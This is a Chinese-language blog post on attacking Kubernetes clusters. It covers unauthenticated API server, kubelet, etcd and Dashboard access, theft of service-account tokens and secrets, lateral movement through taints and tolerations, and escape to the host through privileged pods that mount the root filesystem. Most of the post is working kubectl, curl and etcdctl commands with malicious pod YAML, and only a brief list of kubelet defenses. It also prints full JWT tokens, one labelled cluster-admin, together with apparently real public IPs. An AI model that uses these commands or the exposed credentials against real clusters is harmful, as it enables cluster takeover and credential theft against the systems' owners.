浅看k8s攻防
2026-01-13 09:15:00

k8s 攻防

k8s架构参考 - https://www.cnblogs.com/yuy0ung/articles/19136743,讲的很透彻

image

image

假如用户想在集群里面新建一个POD,工作流程是怎样的

image

未授权

API Server 未授权

API Server默认服务端口-8080, 64438080端口提供HTTP服务,没有认证与授权机制,6443端口同样提供HTTP服务,但支持认证和授权。

默认8080端口不启动,若开启会导致未授权。

使用kubectl利用

1
kubectl -s http://<target>:8080 get nodes

image

访问特定API获取token

访问/api/v1/namespaces/kube-system/secrets/来获取token

image

然后利用token6443端口做server去进一步渗透

1
kubectl --token=eyJhbGciOiJSUzI1NiIsImtpZCI6IkFsOFNCY3huSVc2aElRNVJfX1NpbENZcG9ILWdtc25zb0JDNnN6SHVjcTQifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJhcmdvY2QtbWFuYWdlci1sb25nLWxpdmVkLXRva2VuIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImFyZ29jZC1tYW5hZ2VyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQudWlkIjoiYmQwNzE2ZjktN2UzZS00NTFlLWIzOTktNDY4MTYxMzNhODAzIiwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50Omt1YmUtc3lzdGVtOmFyZ29jZC1tYW5hZ2VyIn0.R9VGpWV_rexLuc8XP4CvLQ9ItnCsbbIoa1EYf0EeFlCSdXxTL4_5sIkciM9XLzaqR6IFjjWkt-LiK8iZFauraqlnWXHUCFv-KezopZoj4W919QvwKnEE_JZL6wrEXGj4S-9LwJYX6zZ-d9KLm_FI7_S3Mg9JeCIKEVVMqwU1cUuktddieyTwjBn-gFPZU7WqULRhJ6zN9ErwvOae7KadnckiMH7VznketE1PyoBjBVN3pT3ZJZtyrjNu8H4Ag5O7T-lRoIfVYN5JNfxvj8B9AeO8LHqL7MsO3W5fQhZr3S0k9CXE_hfQyAIWx42HbK4bUL0Tb7G606LeOF9d2uiRRA -s https://34.131.94.136:6443/ exec -n default -it demo123 -- bash

但可能目标配置,token只对特定的内网IP有效

image

获取Secrets资源

k8s中,secret对象用于存储密码,OAuth令牌等敏感信息,可以从中窃取其他服务的通信凭证

1
2
3
4
5
//列出secrets资源
kubectl -s http://34.100.182.227:8080/ get secrets --all-namespaces

//读指定的secrets
kubectl -s http://34.100.182.227:8080/ get secrets -n awi-system docker-cred -o yaml

image

base64解密.dockerconfigjson得到registry用户密码敏感信息

image

6443端口开放,若不使用凭证访问则会被服务器标记为system:anonymous用户,访问会是401

image

但是若配置不当,system:anonumous被误添加至集群管理员组cluster-admin,则也会发生未授权,导致集群失陷。

kubelet 未授权

每一个Node节点都有Kubelet服务,kubelet监听10250, 10248, 10255等端口

其中10250端口是与Api server进行通信的主要端口,若开启了匿名请求,就可以不带鉴权信息使用10250端口提供的能力

image

可以直接访问http://xx.xx.xx.xxx:10250/pods未授权获取到集群的详细信息

可以在任意容器中执行命令curl -k https://kubernetes-node-ip:10250/run/<namespace>/<pod-name>/<container-name> -d "cmd=id"

利用执行命令cat /var/run/secrets/kubernetes.io/serviceaccount/token,可以拿podserviceAccountToken凭据,能拿到高权限的凭证可以横向到Master

根据访问/pods获取到的每个pod的配置信息,快速筛选出可以利用的特权容器来进行容器逃逸

image

但是10250端口目前默认是鉴权的。

10255端口为只读端口read only,默认不对外开放,对外开放如下配置config.yaml

image

10255只读端口对外开放,也可以通过http://xx.xx.xx.xx:10255/pods访问pods的详细配置信息,但是不能像10250端口那样执行命令了

除了直接在浏览器中http访问,也可以用kubletectl - kubeletctl pods --server xx.xx.xx.xx --http --port=10255

只能读到一些敏感信息,利用面较小

如何防御

(1) 禁止匿名访问

(2) 启用X509客户端证书认证

(3) 禁止只读端口

(4) 实施网络隔离,限制对kublete端口的访问

(5) 定期审计kubelet访问日志

etcd 未授权

k8s使用etcd存储数据,默认监听2379端口,若该端口暴露到公网且存在未授权访问,则可能导致敏感信息泄露,攻击者可以通过收集的凭证来尝试接管集群

获取敏感信息目录

1
./etcdctl --endpoints=https://192.168.3.131:2379 --insecure-skip-tls-verify get / --prefix --keys-only | grep /secrets

image

1
./etcdctl --endpoints=https://192.168.3.131:2379 --insecure-skip-tls-verify get /registry/secrets/kube-system/admin-token-wqz9l

image

可以拿到高权限cluster-admin集群管理员的token

1
eyJhbGciOiJSUzI1NiIsImtpZCI6IjU1a0o1YnJPRUIzZXExeW1NeXhka21PLVBzc18xT1l1SXBvb28xSm8yc0kifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJhZG1pbi10b2tlbi13cXo5bCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50Lm5hbWUiOiJhZG1pbiIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjAxOTMzZDIwLWI2Y2EtNGZiNC04MTBjLTU4N2E2YTFlNTAyYyIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDprdWJlLXN5c3RlbTphZG1pbiJ9.ttsHU8viUVQMjMOsjlRmNGFdfKpcH-5tZV6hLvJa8NAS4iRWJcKmQLVyTlTtWIzPgST2YzvxGwArcwDutyvbhF19G-7CtsEA8ALBEa1OKBkstzk-bOyy1X7lVsfeuTBZP3fjIxMhunUZs8Ht6dCbqclnQvANrmQB_09PwGuTIU_3zHaZF6hV2r6uf_FkQbWMihupsaoJCdq7T1WRv1pcXxbeuentH07LVaJSVOhcXbP0EKqlNivdpLY1ktUzR4tzskbClSO4qZUtOILEz8H72ef6pBbmiiizH4XAkCx4LT-urSxU1Sa7EfLzBNUzvCJMHqwSJHfRz0GNHuf7kHZEJw#kubernetes.io/service-account-token

192.168.3.131API Server,可以直接用这个token

image

image

image

K8s Dashboard 未授权

默认端口-8001

若用户为了方便,开启enable-skip-login,可以在登陆页面点击 “跳过登陆”

image

跳过登陆后,可以直接进入后台dashboard

跳过登陆默认是使用Kubernetes-dashboard默认服务账户,这样还不够,没有集群管理员权限

但是有些开发者为了方便,将Kubernetes-dashboard账号绑定cluster-admin集群管理员角色么,配置示例如下所示

1
2
3
4
5
6
7
8
9
10
11
12
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: kubernetes-dashboard-admin
subjects:
- kind: ServiceAccount
name: kubernetes-dashboard
namespace: kube-system
roleRef:
kind: ClusterRole
name: cluster-admin
apiGroup: rbac.authorization.k8s.io

最后通过创建恶意pod来进一步接管集群

image

横向移动

Pod - Service Account Token

kubernets中,每个pod关联一个Service Accountkubernetes会自动为其生成一个token,并将这个token放在pod的文件系统中,默认路径为/var/run/secrets/kubernetes.io/serviceaccount/token,这个token被用于与API Server进行认证,允许Pod根据其Service Account的权限进行API调用,从外网打进去获取Pod权限后,可以尝试读取该Service AccountToken,若该Service Account权限过高,则可以直接横向至Master

Node - kubeconfig

利用Docker容器逃逸,从pod逃逸至Node节点宿主机后,可以获取Node节点的kubeconfig文件,kubeconfig文件是用于配制集群访问的文件,该文件用来组织有关集群、用户、命名空间和身份认证机制的信息,包括集群的apiserver地址和登录凭证,如果攻击者获取到该文件,就可以使用该凭证访问k8s集群

1
2
3
cat /root/.kube/config
# 或
cat /etc/kubernetes/kubelet.conf

同理可以用kubectl来看当前获取到的kubeconfig的权限

1
2
# 检查我是否可以在当前命名空间中执行所有操作("*" 表示全部)
kubectl --kubeconfig /etc/kubernetes/kubelet.conf auth can-i '*' '*'

若是可以创建恶意Pod,则可以尝试污点横向至Master

污点横向

kubernets中,污点Taints和容忍Tolerations是一种机制,用来控制哪些Pod可以/不能被调度到具有特定标记的节点上

(1) 污点Tainted

1
2
3
NoSchedule:这是最常见的类型,表示不允许 Pod 被自动调度到带有此污点的节点上。只有当 Pod 具有与污点匹配的容忍度时,才能在这些节点上调度 Pod。
PreferNoSchedule:这种类型表示不推荐但允许 Pod 被调度到带有此污点的节点上。即使节点上设置了 PreferNoSchedule 污点,如果没有其他更适合的节点,Pod 仍然可以被调度到这些节点上。
NoExecute:这种类型表示节点上的Pod会被驱逐(Eviction),即使它们已经运行在该节点上。通常,NoExecute 污点会导致 Pod 被终止并迁移到其他节点。

通常master节点默认添加了一个污点标记,默认是NoSchedule

(2) 容忍Tolerations

容忍允许Pod忽略节点的污点,从而可以被调度到具有特定污点的节点上。容忍指定在Pod yamltolerations字段中,它需要与节点的污点相匹配才能生效

可以给Pod添加容忍的声明,让挂在宿主机根目录的恶意Pod能够调度到Master节点上,这样就可以逃逸到Master宿主机了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
apiVersion: v1
kind: Pod
metadata:
name: evilPod
spec:
containers:
- image: nginx
name: test-container
volumeMounts:
- mountPath: /mnt
name: test-volume
tolerations:
- key: node-role.kubernetes.io/master
operator: Exists
effect: NoSchedule # 设置为 NoSchedule
volumes:
- name: test-volume
hostPath: # 使用 hostPath 类型, pod 内可以直接访问宿主机文件系统
path: / # 挂载根目录,方便进行逃逸

如何利用

若由于权限配置问题,某个Service Account拥有在某个namespace/所有namespace创建pod的权限,就可以利用增加容忍创建恶意Pod,让恶意Pod调度至Master节点,最后逃逸,然后拿kubeconfig高权限凭据

可以直接用kubectl工具查看是否有权限,参考 - https://kubernetes.io/zh-cn/docs/reference/kubectl/generated/kubectl_auth/kubectl_auth_can-i/

1
2
3
4
5
# 检查该Service Account是否可以在任意命名空间中创建 Pod
kubectl auth can-i create pods --all-namespaces --token <actual-token-value>

# 检查该Service Account是否可以在指定命名空间中创建 Pod
kubectl auth can-i create pods --<指定命名空间> --token <actual-token-value>

权限提升 & 逃逸

Pod -> Node 逃逸

(1) Docker配置问题逃逸,如特权容器等等

(2) 利用Docker历史CVE漏洞进行逃逸

创建恶意pod

可以先看已经存在的容器是什么,再决定恶意pod使用什么容器,否则可能会出现容器拉不下来的情况

1
2
kubectl -s http://34.100.182.227:8080/ get pods --all-namespaces -A
kubectl -s http://34.100.182.227:8080/ -n default get pods demo123 -o yaml

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
apiVersion: v1
kind: Pod
metadata:
name: host-root-backdoor
namespace: kube-system
spec:
containers:
- name: test123
image: docker.io/library/nginx:latest #其他pod使用的镜像,不容易报错
command: ["/bin/sleep", "3600"]
volumeMounts:
- name: host-root
mountPath: /host
- name: host-proc
mountPath: /host/proc
securityContext:
privileged: true
volumes:
- name: host-root
hostPath:
path: / # 直接挂载宿主机根目录,方便逃逸
- name: host-proc
hostPath:
path: /proc
nodeName: awi-sam-gpu-master-6
tolerations:
- effect: NoSchedule
operator: Exists
- effect: NoExecute
operator: Exists
1
kubectl -s http://34.100.182.227:8080/ apply -f evilPod.yaml

成功创建

image

进入容器执行命令chroot /host /bin/shchroot /host /bin/bash逃逸即可

命令执行

1
2
3
4
5
//列出所有node
kubectl -s http://34.100.182.227:8080/ get nodes

//带namespace列出所有pod
kubectl -s http://34.100.182.227:8080/ get pods -A

image

进入容器执行命令

1
2
3
4
5
6
7
8
//api server未授权时
kubectl -s http://34.100.182.227:8080/ exec --namespace=default -it demo123 -- bash

# 获取到kubeconfig文件时
kubectl --kubeconfig config --namespace=default exec -it demo123 -- bash

# 获取到高权限token时
kubectl --server=https://x.x.x.x:6443 --token="<token值>" --insecure-skip-tls-verify --namespace=default exec -it demo123 -- bash

思考

思考了一下k8s集群渗透的通用思路

(1) 外网打点拿Shell –> 发现是docker容器 –> 逃逸,获取Node权限 -> 尝试从Node横向至Master节点

(2) 从外网打进内网后,发现内网有k8s服务,可能存在API Server/etcd等未授权/其他漏洞,尝试接管集群


参考

https://psych.green/2024/05/07/%E4%BA%91%E5%8E%9F%E7%94%9F-K8S%E5%AE%89%E5%85%A8/#Deployment-%E7%89%B9%E6%80%A7

https://psych.green/2024/03/15/k8s%E5%8D%95%E4%B8%BB%E6%9C%BA%E9%9B%86%E7%BE%A4%E9%83%A8%E7%BD%B2%E5%92%8Cdebugggggg/#%E5%91%BD%E5%90%8D%E7%A9%BA%E9%97%B4-Namespace

https://yuy0ung.github.io/blog/%E4%BA%91%E5%AE%89%E5%85%A8/k8s%E5%AE%89%E5%85%A8/k8s%E5%AE%89%E5%85%A8%E5%9F%BA%E7%A1%80/

上一页
2026-01-13 09:15:00
下一页